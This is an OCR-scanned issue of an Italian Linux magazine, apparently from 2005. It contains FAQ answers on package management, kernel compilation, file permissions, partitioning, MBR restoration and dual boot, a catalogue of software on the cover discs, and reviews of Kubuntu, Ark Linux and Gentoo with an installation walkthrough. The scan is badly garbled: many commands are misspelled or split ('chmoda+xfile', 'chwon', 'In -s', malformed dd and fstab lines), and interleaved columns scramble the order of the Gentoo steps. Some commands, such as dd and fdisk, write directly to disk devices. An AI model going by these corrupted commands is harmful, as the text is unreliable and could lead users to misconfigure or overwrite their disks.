Il tool di installazione standard utilizzato 
dalla distribuzione Slackware è 
pkgtoo] 
Il comando upgradepkg aggiorna un 
pacchetto, disinstallando prima il 
pacchetto già installato e inserendo 
successivamente quello nuovo: 
upgradepkg nome_pacchetto_vecchio 
[nome_pacchetto_nuovo] 


BM Installare il software 
dai sorgenti 
@ La maggior parte di questi pacchetti 
sono distribuiti sotto forma di archivi 
compressi in formato tar.gz e tar.bz2. 
Per prima cosa è necessario decompri- 
mere i file 

tar -xvzf nome_file.tar.gz 
e 

tar -xvjf nom file.tar.bz2 
A questo punto è necessario spostarsi 
nella nuova directory ed eseguire i 
comandi seguenti: 

./configure 

make 

su (password di root Invio) 

make install 
Nella maggior parte dei casi verrà creato 
l'eseguibile del programma nella directo- 
ry /usr/local/bin. Per eseguire l'applica- 
zione, basta scrivere il nome dell'esegui- 
bile nella console e premere Invio. 


BM Partizionare l'hard disk 
© Se nel PC è installato il sistema ope- 
rativo MS Windows, la prima cosa da 
fare è creare lo spazio necessario all'in- 
stallazione di Linux. Per prima cosa biso- 
gna eseguire un defrag (deframmentazio- 
ne del disco) per assicurarsi che tutti i 
file Windows vengano spostati all'inizio 
del disco. Successivamente è possibile 
utilizzare programmi a riga di comando 
come fdisk o cfdisk oppure il tool grafico 
QOtParted. 
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Tutte le distribuzioni dispongono di stru- 
menti per il partizionamento del disco, 
alcuni più sofisticati, altri meno; ma è 
sempre buona abitudine preparare il 
disco in precedenza. Per installare Linux 
sono necessarie almeno due partizioni: 
quella di root (radice) con punto di 
mount “/” e quella di swap. 


MB Disinstallare Linux 
@ Per prima cosa è necessario elimina- 
re le partizioni usate dal sistema operati- 
vo. Il metodo migliore consiste nell'uti- 
lizzare una delle tante distribuzioni 
"live" (Knoppix, SimplyMEPIS, Kanotix, 
ecc) ed eseguire i programma di partizio- 
namento grafico QtParted. Dopo aver 
eliminato le partizioni è necessario elimi- 
nare il boot loader LILO o Grub e ripri- 
stinare il settore di avvio. Da un sistema 
DOS Windows si può eseguire 

fdisk /MBR 

oppure, da un disco di ripristino di 
Windows o da una live Linux 

fdisk /MBR 

o ancora 

Sys C: 
Direttamente da Linux si può eseguire il 
comando 

lilo -U 

È possibile ripristinare l'MBR, nel caso 
di LILO, utilizzando il tool dd e caricare 
il file di backup creato da LILO al 
momento dell'installazione 

dd if=boot.xx of =/dev/hda bs=446 

count=1 

/dev/hda è il disco installato come master 
sul primo canale IDE, mentre boot.xx è il 
file da ripristinare, con xx che indica la 
versione di tale file. 


M Come si ricompila 

il kernel? 
© Per ricompilare il kernel, già presen- 
te nel sistema, è necessario verificare che 
all'interno della directory /us7/src ci sia 
un collegamento simbolico di nome linux 
che punti alla directory dei sorgenti del 
kernel già installato. Per ricompilare una 
nuova versione del kernel bisogna copia- 
re il pacchetto (linux-2.x.xx.tar.bz2 0 
tar.gz) in /usr/src e successivamente si 
deve scompattarlo mediante: 

tar -zxvf pacchetto.tar.gz 
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oppure 
tar -xvjf pacchetto.tar.bz2 

In questo modo verrà creata una nuova 
directory chiamata linux-2.x.xx dove 
sono presenti i sorgenti del nuovo 
kernel. A questo punto è necessario 
rinominare la directory 
mvlinux-2.x.xx linux 

o creare un collegamento simbolico ad 
essa: 

In -s linux-2.x.xx linux linux 
Dopo essere entrati nella nuova 
directory bisogna eseguire i comandi: 

make mrproper 


make menuconfig 

oppure, avviare il programma di 
configurazione grafica 

make xconfig 

Dopo aver scelto tutti i componenti da 
utilizzare e il supporto per l'hardware del 
proprio sistema, si salva la 
configurazione (file .config) e si 
eseguono i comandi seguenti: 

make dep 


make clean 


make bzImage 


make modules 


make modules_instal] 

A questo punto l'immagine del kernel 
sarà stata creata nella directory 
/usr/src/linux/arch/i386/boot con il nome 
bzImage. L'immagine va copiata nella 
directory /boot: 

cp bzImage /boot 

Infine, va configurato il boot loader 
LILO o GRUB per caricare il nuovo 
kernel. 


M Come si modificano 

i permessi dei file? 

@ Per assegnare i permessi di lettura, 

scrittura ed esecuzione si utilizza il 

comando chmod, nel modo seguente: 

e chmoda+xfile - assegna il permesso 
di esecuzione del file a tutti gli utenti 
del sistema; 

e chmodu+x file - assegna il permesso 
di esecuzione solo al proprietario del 
file; 

e chmodg+xfile- assegna il permesso 
di esecuzione al gruppo; 

e chmodo+xfile - assegna il permesso 
di esecuzione a tutti gli altri utenti. 

Per i permessi di lettura sono valide le 

stesse indicazioni del permesso di 


esecuzione, ma in questo caso si 

sostituisce x con r. 

e chmoda+r file - permesso di lettura a 
tutti gli utenti del sistema; 

e chmod u+r file - permesso di lettura 
esclusivamente solo al proprietario 
del file; 

e chmodgt+r file - permesso di lettura 
al gruppo; 

e chmodo+r file - permesso di lettura 
agli altri utenti. 

Per il permesso di scrittura si sostituisce 

xOTCconwW. 

e chmoda+w file - permesso di 
scrittura a tutti gli utenti del sistema; 

e chmodu+w file - permesso di 
scrittura solo al proprietario del file; 

e chmodg+vw file - permesso di 

scrittura al gruppo; 

chmod o+w file - permesso di 

scrittura agli altri utenti. 

Ovviamente è sempre possibile combina- 

re i diversi tipi di permessi. Per cambiare 

il proprietario di un file basta eseguire: 

chwon file utente:gruppo 


M Avviare Linux dal boot 
manager di Windows XP 
© Durante l'installazione di Linux è ne- 
cessario installare il boot loader LILO 
sulla partizionedi avvio del sistema e non 
sul MBR. 
Successivamente è necessario creare il 
file bootsect.lin che contiene l'immagine 
del settore di avvio della partizione 
Linux: 
dd if=/dev/hd3 of= /tmp/bootsect 
.lin bs=512 count=1 
Il file bootsect.lin va copiato nella direc- 
tory C: di Windows XP e va modificato il 
file boot.ini nel modo seguente: 
[boot loader] 
timeout=30 
default=multi(0)disk(0)rdisk(0) 
partition(1)\WINDOWS 
[operating systems] 
multi(0)disk(0)rdisk(0)partition(1) 
\WINDOWS="Microsoft Windows XP 
Professional" /fastdetect 
c:\bootsect.lin="Linux" 
Per modificare il file cliccare con il de- 
stro su Risorse del computer e successi- 
vamente dalla scheda Avanzate selezio- 
nate Avvio e ripristino/Impostazioni/Mo- 
difica. 
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KUbuntu 5.0.4 


Ideale per multimedia, internet, e 
desktop. Kde 3.4 + Debian, l'accop- 
piata vincente per chi vuole una 
distribuzione tuttofare, senza troppi 
problemi 


Ark Linux 2005.1 


Per chi vuole migrare da Windows 
a Linux senza stress. 

Con pannello di controllo e 
applicazioni studiate per facilitare 
la vita a chi inizia 


Vi sveliamo le tecniche da conosci .0. 
Ped 2005.1 


{ i Più di 55 piattaforme hardware supportate, il sistema 
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NL /  Minidistro 
Per recuperare il tuo vecchio PC o da installare 
su una penna USB 


Puppy Linux 1.0.0 © Damn Small 1.0.1 © IPCop 1.5.4 


Gmencoder 0.1.0 ODVDauthor I) 


Interfaccia grafica creata per sfruttare 
al meglio i numerosi strumenti messi a 
disposizione dal programma a riga di 
comando mencoder. In pochi e semplici 
passi consente di estrarre e compri- 
mere il contenuto di qualsiasi DVD per 
creare le proprie copie di backup, nei 
formati: DivX, SVCD, KVCD e VCD. 


DVDStyler 1.31 
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GUI multiplattaforma per l'authoring 
DVD. Il programma, grazie alla sua 
interfaccia grafica, semplice e intuitiva, 
facilita notevolmente l'utilizzo dei 
software a riga di comando dvdauthor 
e growisofs. Grazie a DVDStyler è pos- 
sibile creare sofisticati menu che per- 
mettono di gestire in modo interattivo 
il contenuto dei DVD video. 


Ancora un front-end grafico per il pro- 
gramma dvdauthor che consente di 
generare e personalizzare il menu di un 
DVD da noi creato. QDVDauthor consente 
di aggiungere menu, sottomenu, accesso 
diretto ai capitoli, immagini di sfondo e 
scritte di ogni genere per dare un aspet- 
to professionale ai video amatoriali. 


CINELERRA 12.2 


BEUEL 


Cisa 


Con Cinelerra GNU/Linux rafforza note- 
volmente la sua posizione nel settore 
dell'elaborazione video. Utilizzandolo 
si intuisce subito che si tratta di un 
software potente e veramente ben rea- 
lizzato che non fa certamente rimpian- 
gere i costosi software commerciali per 
quanto riguarda la disponibilità di 
strumenti ed effetti. 
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pirati ad entrare da remoto nel vostro computer. 
tecniche da conoscere, ma da non emulare 


MIGRATICI FTATTINCI 


coreane Visualizza le statistiche dettagliate 
Ù per gestire entrate e uscite È e bian dai men contestnate 


MOZILLA 1.7.7 


Nato dalle ceneri di Netscape, il progetto ha acquisito vigore gra- 
zie all'impegno di migliaia di sviluppatori e alla nascita di Mozilla 
Foundation, fino a diventare la suite di riferimento per gli utenti 
Internet, senza dimenticare che dallo stesso progetto sono nati 
software indipendenti come Firefox e Thunderbird. 


Firefox 1.0.3 


Versione di aggiornamento per il browser più scaricato del 
momento. Si tratta di un rilascio per rimediare ad alcuni pro- 
blemi di sicurezza riscontrati nell'esecuzione di pagine con 
codice JavaScript. Le caratteristiche sono sempre quelle: leg- 
gerezza, affidabilità, conformità agli standard e estendibilità. 


Opera 8.0 


Nato come alternativa a Internet Explorer e Netscape, questo 
browser è riuscito a guadagnarsi i consensi di milioni di uten- 
ti. Negli anni si è evoluto, da semplice browser, fino a diventa- 
re una vera e propria suite per Internet completa di client di 
posta, download manager, chat, ecc. 


mu x Magazine 


Distribuzioni 
Oltre al contenuto dei CD: 
SUSE Linux 9.3 


La distribuzione professionale, 

per aziende e piccoli uffici 

Prova la distro pensata per chi vuole un 
sistema stabile per le proprie applicazioni 
d'impresa. 


Gentoo Linux 2005.0 


Per chi vuole sfruttare hardware 
fino all'ultimo bit 


Interamente da compilare! 
Una distro cucita attorno al vostro PC, per 
sfruttarne tutta la potenza. 


Un mini sistema versatile 
e leggero, ideale per PC datati 


Una minisltackware Live in meno di 200Mb, 
da portare sempre con se per ogni 
occorrenza. 


Epiphany 1.6.2 

Ancora un browser web basato su Gecko, quindi la compatibili- 
tà con gli standard web è assicurata. Epiphany è destinato all'u- 
tilizzo con Gnome ed è perfettamente integrato nel desktop. 
L'obiettivo principale degli sviluppatori è stato quello di creare 
un browser leggero e soprattutto semplice da utilizzare. 


Galeon 1.2.14 


Browser nato dal progetto Mozilla con la promessa di risolvere 
i problemi di pesantezza che caratterizzavano le prime versioni 
della suite Open Source. Tra le caratteristiche più interessanti 
il motore di rendering Gecko, leggerezza, velocità, interfaccia 
pulita e perfetta integrazione con il desktop Gnome. 


Nautilus 2.10.1 e Konqueror 3.4 


Non si tratta di “semplici” browser, ma di veri e propri filemana- 
ger in grado di rendere il passaggio dalla navigazione locale a 
quella remota trasparente all'utente. Gli strumenti di cui dispon- 
gono spaziano dalla visualizzazione di pagine HTML fino ai tool 
integrati per la masterizzazione. 
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Nome 


adobereader_7.0 


Descrizione 


Direttamente da Adobe il nuovo visualizzatore ufficiale di file 
in formato PDF 


URL 


Nome 


linux_2.6.11.7 


De 


Ultima versione del kernel serie 2.6, il cuore del 
GNU/Linux 


scrizione 


sistema operativo 


bayonne_1.2.14 


Server telefonico nato dal progetto GNU 


mailscanner_4.40.11 Scanner per eliminare le email infette e lo spam 


hind_8.4.6 Server DNS (Domain Name System) mozilla_1.7.7 nternet suite: web browser, email e newsgroup client 
cdbakeoven_1.7.9 Estrazione, codifica e masterizzazione di tracce audio e video muse_0.9.1 Player per il sistema di streaming audio Icecas 

cinelerra_1.2.2 Una suite completa per le produzioni audio e video 

dotlm_1.0 Ambiente integrato per la didattica online mysql_4.1.11 più utilizzato DBMS Open Source. Il più utilizzato DBMS Open Source 


dvdripper_0.5 


GUI per Mencoder in grado di estrarre il contenuto di DVD, DivX, 


mysgladministrator_ Potente strumento visuale per amministrare database MySQL 


SVCD, KVCD, e VCD 1.0.20 
dvdstyler_1.31 Frontend grafico per la creazione di DVD nautilus_2.10.1 —Completo file manager, con supporto per il web, per Gnome 
epiphany_1.6.2 Browser web semplice da usare, sviluppato per Gnome nessus_2.2.4 ool di sicurezza per la verifica della sisurezza di sistemi remoti 
etherboot_5.4.0 Tool per effettuare il boot di sistemi operativi GNU/Linux nmap_3.81 Skanner per analisi dettagliate degli host presenti in una rete sia locale 
e non attraverso la rete sia Internet 
evolution_2.2.2 Personal Information Manager (PIM) per Gnome opera_8.0 nternet suite: web browser, email e newsgroup client 
firefox 1.0.3 Browser web Open Source derivato dal progeto Mozilla. Leggero, pgadmin3_1.2.1 Tool grafico per amministrare database PostgreSQL 
veloce e conforme agli standard più diffusi php_5.0.4 Potente linguaggio di scripting, per il web e per applicazioni 
flumotion_0.1.7 Server per lo streaming audio e video dotato di una semplice standalone 


interfaccia di confifgurazione 


phpmyadmin_2.6.2 Script PHP per amministrare database MySQL 


galeon_1.2.14 Browser web per il desktop Gnome Tal phppgadmin_3.5.2 Utility web, realizzata in PHP, per amministrare database PostgreSQL | 
gambas2_1.9.4 Ambiente grafico per lo sviluppo in Basic, simile a Visual Basic ramba: postfix_2.2.2 Server di posta (SMTP) 
gimp_2.2.6 Software GNU di foto ritocco e manipolazione delle immagini postgresgl_8.0.2 Completo DBMS Open Source, scalabile, con supporto completo 


gmencoder_0.1.0 Front-end grafico per il tool di estrazione video mencoder 


er lo standard ANS 


SOL 


gnometoaster_1.0 Strumento completo per la msterizzazione in ambiente Gnome 


python_2.4.1 


Linguaggio di scripting ad alto livello, orientato agli oggetti 


gnupg_1.4.0 ool di crittografia in stile PGP per proteggere file e directory qdvdauthor_0.0.9 Front-end per dvdauthor ed altri tool per la creazione di DVD 
httpd_2.0.54 Nuova versione del server web Apache ramo di sviluppo 2.X realplayer 10.3 Player peri formati RealAudio, RealVideo e molti altri I 
icecast_2.2.0 Server per la diffusione di contenuti audio (MP3, Ogg) online e) samba_3.0.13 Suite client/server per la condivisione file in reti miste Windows Unix_mursanbaoo 
k3bh_0.11.23 Applicazione per masterizzare CD e DVD con caratteristiche e rg shoutcast_ 1.8.9 Slstema per lo streaming audio online simile a Icecast 

unzionalità simili a Nero per Windows thunderbird_1.0.2 Versione standalone del client di posta nato dal progetto Mozilla 
kgpg_1.0.0 nterfaccia grafica per GnuPG e desktop KDE, utile per cifrare file kgog tomcat_5.5.9 Servlet container e JSP server sviluppato da Apache Group 

e directory xcdroast_0.98 Applicazione grafica per la masterizzazione di CD/DVD 
Ifs_6.0 Documentazione per creare una propria distribuzione Linux atch. org xmule_1.10.0 Applicazione multipiattaforma per il filesharing, simile a eMule 

Il contenuto del DVD-Rom 
Tutto il software dei 3 CD-Rom con in più... 

Nome Descrizione URL Nome Descrizione 


abiword_2.2.7 Word processor sullo stile di Microsoft Word lilo_22.7 Boot loader per avviare uno o più sistemi operativi 
absguide_3.3 Una guida alla programazione della shell linphone_1.0.1 Applicazione Gnome VolP per telefonare tramite Internet dotata 
afterstep_2.00.04 \Vindow manager per X simile NeXTSTEP di interfaccia grafica e testuale 
hittorrent_4.0.1 ool per il download distribuito linux_2.4.30 Ultimo rilascio del ramo di sviluppo 2.4 del kernel Linux 
blfs_6.0 Documentazione per creare una propria distribuzione Linux Imbox_0.7.5 Sistema per creare box multimediali utilizzando GNU/Linux 
classpath_0.14 Libreria GNU per il linguaggio di programmazione Java 
doxygen_1.4.2 ool per generare documentazione di C, C++, Java, PHP e C# Ivm_2.01.09 Logical Volume Manager per gestire periferiche di archiviazione 
dpkg_1.10.23 Sistema Debian GNU/Linux per la gestione del software manpages_2.02 Tutta la collezione delle pagine di manuale per GNU/Linux 

T neftp_3.1.9 Client per il trasferimento di dati mediante il protocollo FTP 
e2fsprogs_1.36 nsieme di tool per la gestione di filesystem ext2 1gs.sourceforge. net openldap_2.2.24 Suite di applicazioni e strumenti di sviluppo per LDAP 


explore2fs_1.07 


Applicazione Windows per accedere a filesystem Linux 


openssi_0.9.7g 


Too 


kit per implementare specifiche Secure Sockets Layer 


parted_1.6.22 


Too 


per la gestione delle partizioni 


findutils_4.2.20 


Utility composta da tre programmi : find, locate e xargs 


rsync_2.6.4 


Appplicazione per il trasferimento di file remoti 


URL 


gaim_1.2.1 Client grafico multiprotocollo per Instant Messaging (IM) rge.1 scintilla_1.63 Editor in GTK+ orientato alla programmazione 
gammu_1.01 nsieme di tool e driver per la connessione a cellulari Nokia m/gsmsott sendmail_8.13.4 Server per la gestione della posta elettronica(SMTP) 
solfege_2.2.1 Software musicale per esercizi di ascolto 

gdhepd_0.2.5 nterfaccia grafica in Gtk+ per il server DHCP sqlite3_3.2.0 Libreria C per implementare database SQL embedded 

gettext_0.14.4 Libreria GNU per internazionalizzare il software subversion_1.1.4 Applicazione per il controllo di versione, simile a CVS 

gkrellm_2.2.5 ool per analizzare e monitorare le risorse e le attività di sistema sylpheed_1.0.4 Completo client di posta e news sviluppato in GTK+ 

glade_2.10.0 DE per la creazione di interfacce grafiche per Gnome con GTK+ tor_0.0.9.7 Sistema per connessioni Internet anonime 

glibc_2.3.5 La libreria C nata dal progetto GNU vsftpd_2.0.3 Veloce e sicuro server FTP per il trasferimento di file 

gproftpd_8.2.1 Front-end grafico per la gestione del server FTP ProFTPD webmin_1.200 Interfaccia web per amministrare un sistema Unix in remoto 

gik+_2.6.7 Librerie multipiattaforma per la realizzazione di intefacce grafiche xchat_2.4.3 Client grafico per la chat tramite il protocollo IRC 

gwenview_1.2.0 Visualizzatore di immagini per KDE Je. net xdtv_2.1.1 Applicazione per visualizzare le trasmissioni TV sul PC 

imagemagick_6.2.1 Raccolta di utility e librerie per la manipolazione e conversione di rg xfce_4.2.1 Ambiente grafico X11 semplice da usare, sviluppato in GTK2 
immagini xpaint_2.7.5 Editor semplice da usare per creare immagini bitmap 

jgraph_5.4.5 ool Java per la creazione di grafici e diagrammi professionali yum_2.2.1 Sistema per aggiornare, installare e disinstallare pacchetti software | 


kmobiletools_0.4.3.1 Applicazione KDE per gestire telefoni cellulari 


in formato RPM 


knoda_0.7.3 


Frontend per KDE per i database MySQL, PostgreSQL e ODBC 


zoneminder_1.21.0 Suite per la realizzazione di applicazioni video sorveglianza 


Iftp_3.1.2 Cliente FTP/HTTP 
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zope_2.7.5 


Application server per lo sviluppo di CMS 
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KUBUNTU 5.04 


Dea i consensi ottenuti da Ubuntu Li- 
nux, che in poco più di anno è riuscita a 
scalare la “classifica” delle distribuzio- 
ni GNU/Linux più utilizzate, gli svilup- 
patori del progetto hanno pensato anche 
ai fan del desktop KDE (e al successo otte- 
nuto con il rilascio della nuovissima versio- 
ne 3.4) creando la stessa distribuzione ma 
con ambiente grafico diverso. Per il resto i 
due sistemi operativi sono perfettamente 
identici: utilizzano lo stesso kernel 2.10, il 
sistema grafico XOrg in versione 6.8.2 e 
soprattutto lo stesso formato di pacchettiz- 
zazione del software, DEB. Proprio que- 
st'ultimo è alla base del successo di molte 
distribuzioni basate su Debian, in quanto 
basta una connessione Internet relativa- 
mente veloce e il gestore di pacchetti 
Synaptic (o Kynaptic) pensa a tutto il resto, 
installando il software e risolvendo le 
dipendenze in modo automatico e traspa- 
rente, selezionando programmi e librerie tra 
oltre 8500 pacchetti disponibili. Così come 
Ubuntu anche Kubuntu è una distribuzione 
adatta a qualsiasi utilizzo sia server sia 
deskotp, ma è stata espressamente creata 
per semplificare la “vita” a tutti coloro che 
si avvicinano per la prima volta a GNU/Li- 
nux. Tutto questo traspare già durante la 
fase di installazione, con la necessità di 
intervento da parte dell'utente ridotta al 
minimo, mentre è stato eliminato l'account 
root, almeno rispetto a quanto avviene in 


Vuoi trovare qualche 
software particolare nei 
CD/DVD-Rom di Linux Magazine? 
Invia una e-mail al seguente indirizzo: 

linuxmag(dedmaster.it 


RI Fig. 1 è Kubuntu con il Centro di controllo di KDE 3.4 
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Li migliori software scelti da LINUX Magazine 


Kde 3.4 e Debian, l'accoppiata vincente per chi vuole 
una distribuzione tuttofare, senza troppi problemi. 
Ideale per multimedia, internet, e desktop 


quasi tutte le distribuzioni, e la gestione del 
sistema avviene mediante l'utilizzo (in auto- 
matico) del programma sudo, che garanti- 
sce all'utente comune i privilegi di ammini- 
stratore, seppur con alcune limitazioni. 


I Fig. 2 è Il programma di 
masterizzazione K3b 
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ARK LINUX 2005.1 


La distribuzione desktop per gli utenti finali 
Ideale per chi desidera migrare a Linux senza 
rinunciare alle comodità di Windows 


he Linux è la nuova distribuzione dedicata al 
mercato desktop, in modo particolare agli 
utenti domestici alla prima esperienza nel mondo 
Linux. Questa è la prima versione stabile del nuo- 
vo sistema operativo (numero di versione 2005.1) 
e promette già di dare del filo da torcere a distri- 
buzioni orientate al desktop come Mandrakelinux, 
Fedora, SUSE, Linspire, Lycoris e Xandros. Come 
afferma il suo creatore e principale sviluppatore 
Bernhard "Bero" Rosenkraenzer, secondo il quale 
gli unici antagonisti sono Windows e Mac OS X, 
Ark Linux è la distribuzione ideale per l'utente fina- 
le”. L'ambizione chiara del nuovo progetto è por- 


KDE 3.4 


tare Linux sul maggior numero possibile di desk- 
top, specie su quelli che non hanno mai utilizzato 
il sistema. Ark linux è stata una delle prime distri- 
buzioni ad includere il nuovissimo desktop KDE 
3.4, rivisto e personalizzato in diversi 
aspetti dagli stessi sviluppatori della 
distribuzione. Il tutto per renderlo 
ancora più semplice e intuitivo da uti- 
lizzare. 


Mission Control, 

il cuore di Ark Linux 

Tutto il software, sia quello di siste- 
ma sia quello applicativo, è aggior- 
nato alle versioni più recenti, ma l'a- 
nima della distribuzione è costituita 
dal "Mission Control", un vero e pro- 
prio pannello di controllo, molto si- 
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mile anche nell'aspetto 
grafico al Pannello di 
controllo di Windows. 
Mission Control, risulta 
moto più intuitivo del 
Centro di controllo di 
KDE, grazie alle icone 
più grandi e chiare, te- 
sti più comprensibili e 
interfacce grafiche e wizard che semplificano la 
configurazione di quasi tutti gli aspetti del siste- 
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DI Fig. 2 è Mission Control, il cuore del 
sistema operativo. Notevole la somiglianza con 
il pannello di controllo di Windows XP 


ma: configurazione dell'hardware, installazione 
di applicazioni, interfaccia grafica e tanto altro. 
Ark Linux si installa in pochi minuti e grazie 
all'interfaccia grafica dell'installer, utilizzando 
quasi esclusivamente il mouse. Tra le caratteri- 
stiche più importanti, la possibilità di avviare il 
sistema senza l'inserimento di password; così 


DI Fig. 3 è Il gestore di pacchetti Kynaptic 


EB Fig. 4 © Il foglio di calcolo Open Office Calc 


facendo anche gli utenti senza alcuna esperienza 
avranno accesso al sistema con un account pre- 
definito e privilegi limitati, per ridurre ala minimo 
il rischio di danneggiare il sistema. Il formato uti- 
lizzato per la gestione del software è quello DEB, 
mentre il tool utilizzato per l'installazione e la di- 
sinstallazione delle applicazioni è Kynaptic, un 
tool derivato direttamente dal potente Synaptic 
utilizzato in tutte le distribuzioni derivate da De- 
bian. 


Tutte le versioni disponibili 

La versione base di Ark Linux (contenuta nel 
DVD allegato) è composta da un solo Cd-Rom, 
ma contiene tutto il software indispensabile per 
un utilizzo desktop, tra cui OpenOffice 1.1.4. 

Sul sito sono comunque disponibili altre quattro 
ISO: Ark Development Suite, Ark Extra Software, 
"Ark Server Software e Ark Extra Languages, 
rispettivamente per gli strumenti di sviluppo, il 
software applicativo, i server e le lingue. 


S® ARK LINUX 2005.1 


ceNZA: GNU GPL 
ORMATO PACCHETTI: DEB 
ERNEL: 2.6.11 


L 
F 


K 

SisteMA GRAFICO: XOrg 6.8.2 
Desktop: KDE 3.4 
N 
il 


To WeB: www.arklinux.org 
Po: DISTRIBUZIONE 


IL NOSTRO GIUDIZIO 
PRO CONTRO 


* INSTALLAZIONE * TRopPo WINDOWS LIKE 


* STRUMENTI DI GESTIONE * Poco FLESSIBILE 


* ASPETTO GRAFICO 


S © fi Ut W & f e /  SULGDE DM 


Li migliori software scelti da LINUX Magazine 


MI Distribuzione 


GENTOO LINUX 2005.0 


Prestazioni estreme, alta configurabilità e ottimizzazione 
del software per il proprio sistema sono le caratteristiche 
che posizionano questa distribuzione tra le più apprezzate 


dagli utenti Linux 


(mo Linux è una distribuzione che per le 
sue doti di adattabilità e flessibilità è stata 
catalogata nel gruppo delle metadistribuzioni. 
Essa può essere utilizzata indifferente- 

mente come sistema server, desktop, 
2° workstation ad alte prestazioni oppure 

adattata a sistemi embedded, dove le risorse 
hardware sono limitate. La caratteristica prin- 
cipale che distingue Gentoo dalle altre distro è 
la gestione del software. Infatti, non prevede 
un vero e proprio gestore di pacchetti in un 
determinato formato, ma utilizza direttamente 
i sorgenti. In questo modo ogni più piccola 
applicazione è ottimizzata per il sistema che la 
ospita e questo garantisce prestazioni al di so- 
pra della media. Questo vantaggio si paga in 
termini di praticità e una certa complessità di 
installazione. 


Installazione tramite stage 

e Live CD 

La distribuzione prevede tre tipi di installazio- 
ne differenti, detti stage (una sorta di backup 
della partizione principale di Gentoo), ognuno 
dei quali presenta vantaggi e gradi diversi di 
difficoltà. Lo stage1, prevede la compilazione 
dell'intera distribuzione, dal software di siste- 
ma al software aggiuntivo, oltre a una prima 
fase, detta di bootstrap, alquanto complessa. 


Vuoi trovare qualche software 
particolare nei CD/DVD-Rom 

di Linux Magazine? 

Invia una e-mail al seguente indirizzo: 
linuxmag(adedmaster.it 


Alla fine il sistema avrà prestazioni esaltanti, 
ma il tempo di installazione dipende molto 
dalla velocità del sistema e può durare anche 
più di 30 ore. Con lo stage2 si evita la prima 
fase (bootstrap), ma il tempo necessario è 
sempre piuttosto lungo. Utilizzando lo sata- 
ges, il tempo di installazione si riduce, quasi a 
quello classico necessario per le altre distri- 
buzioni, ma vengono utilizzate impostazioni di 
defaut e quindi si perdono quasi tutti i vantag- 
gi per cui Gentoo è stata creata. Questi tre 
stage sono disponibili come file compressi in 
formato “.tar.bz2” e vanno scompattati prima 
di poterli utilizzare. Utilizziamo il Live CD, Uni- 
versale che contiene lo stage3 e alcuni pac- 
chetti precompilati, che non comprendono i 
programmi per l’uso desktop; questi ultimi 
sono disponibili nel Package CD. Per avviare il 
processo di installazione, riavviamo il compu- 
ter, selezioniamo dal BIOS il Cd-Rom come 
primo dispositivo d'avvio e inseriamo il CD. AI 
successivo avvio viene presentato il prompt di 
boot. Premendo i tasti funzione F1 2 F2, è 
possibile modificare le impostazioni di avvio 
oppure premere semplicemente /nvio. Dopo 
la fase iniziale, verrà presentata una console di 
root da cui è possibile eseguire l'installazione. 
Il primo comando da dare è: 


# uname -a 


0000 
ceee 


ce 
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Questo per sapere il kernel utilizzato dal CD-Rom; 
ciò sarà utile in seguito per installare il kernel sen- 
za ricorrere a download da Internet o alla compi- 
lazione. Prima di procedere, è consigliabile confi- 
gurare l'accesso alla rete facendo riferimento ai 
comandi sottostanti, in base al tipo di collega- 
mento: 


e schedadirete 
net-setup eth0 


e 7 SULCD-DVD 


/distfiles 


user 00 


cp -a /mnt/cdrom/distfiles/* /mnt 
/gentoo/usr/portage/distfiles/ 


Terminata questa operazione procediamo con la 
creazione di alcuni file di configurazione e montia- 
mo la partizone /proc. 


Configurazione di base 


mirrorselect -a -s4 -o | grep 


e modemadsi ‘GENTOO _MIRRORS=’ >>/mnt/gentoo 
adsl-setup /etc/make.conf 
adsl-start cp -L /etc/resolv.conf /mnt/gentoo 


e modem analogico 
nano -w /etc/ppp/chap-secrets 
nano -w /etc/ppp/options.pptp 
pptp <server ip> 


Il partizionamento dei dischi 

Per semplicità supponiamo che il disco sia vuoto 
e creiamo la prima partizione di root (/), formatta- 
ta in ReiserFS, e la seconda come partizione di 
sWap: 


fdisk /dev/hda 
(si apre îl programma, premere i 
seguenti tasti) 


=> p è 1 

2 Deb 

> È è 8 

(per salvare ed uscire) 
mkreiserfs /dev/hdal 


= |c=|s Si 


/Jetc/resolv.conf 
mount -t proc none /mnt/gentoo/proc 


Se non vogliamo configurare il kernel, conviene 
copiare i file del kernel e dei moduli nella nostra 
installazione; bisogna, inoltre, creare un file che 
contenga i nomi dei moduli da utilizzare all'avvio, 
reperibili con il comando Ismod: 


cp -a /boot/* /mnt/gentoo/boot/ 
mkdir /mnt/gentoo/lib/modules 
cp -a /lib/modules/* /mnt/gentoo 
/lib/modules/ 
lsmod > /mnt/gentoo/etc/modules 
.autoload.d/kernel-2.X 


A questo punto con il comando chroot entriamo 
nella partizione di gentoo. 


chroot /mnt/gentoo /bin/bash 
env-update 


mkswap /dev/hda2 


source /etc/profile 


swapon /dev/hda2 
Montiamo la partizione /dev/hdal 
nella directory /mnt/gentoo, ed 


iniziamo ad operare su di essa; 
mount /dev/hdal /mnt/gentoo 
cd /mnt/gentoo 


Prepariamo i file per l'installazione 
Scompattiamo i file dello stage3 e quelli del porta- 
ge procedendo nel modo seguente 


tar -xvjpf /mnt/cdrom/stages 
/stage3-x86-2005.0.tar.bz2 


In -sf /usr/share/zoneinfo/Europe 
/etc/localtime 


Configurati alcuni parametri iniziali, è indispensa- 
bile modificare il file fstab, per montare le parti- 
zioni in modo corretto. In questo caso facciamo 
riferimento ad un'installazione in cui /dev/hda1 
rappresenta la root formattata con reiserfs e /dev 
/hdc rappresenta il lettore CD. Utilizziamo allo 
scopo l'editor nano. 


nano /etc/fstab 
/dev/hdal / reiserfs notail, 
noatime 0 1 


tar -xvjf /mnt/cdrom/snapshots 
/portage-20050303.tar.bz2 
-C /mnt/gentoo/usr 


/dev/hda2 none swap sw 00 
/dev/hdc /mnt/cdrom auto noauto, 
user 00 


none /proc proc defaults 0 0 
none /dev/shmtmpfs nodev, 
nosuid,noexec 0 0 


Doo aver apportato le modifiche è sufficiente pre- 
mere Ctrl+O per salvare e Ctrl+X per uscire. 


Installiamo il kernel 

Se non sono stati copiati i file del kernel all'inizio 
della procedura, bisogna necessariamente instal- 
lare i sorgenti ed il programma genkernel per con- 
figurarli e compilarli. Il comando Gentoo-sources 
installa un kernel della serie 2.6.11. 

Vediamo come procedere: 


emerge -k gentoo-sources 
emerge genkerne] 
genkernel --menuconfig all 


Configurazione dei servizi 

Il sistema di base è pronto ma è necessario con- 
figurare i servizi fondamentali da attivare all'avvio 
del sistema. 


emerge syslog-ng vixie-cron 

hotplug reiserfsprogs 
rc-update add syslog-ng default 
rc-update add vixie-cront default 
rc-update add hotplug default 
rc-update add domainname default 


Password, utenti e moduli 

del kernel 

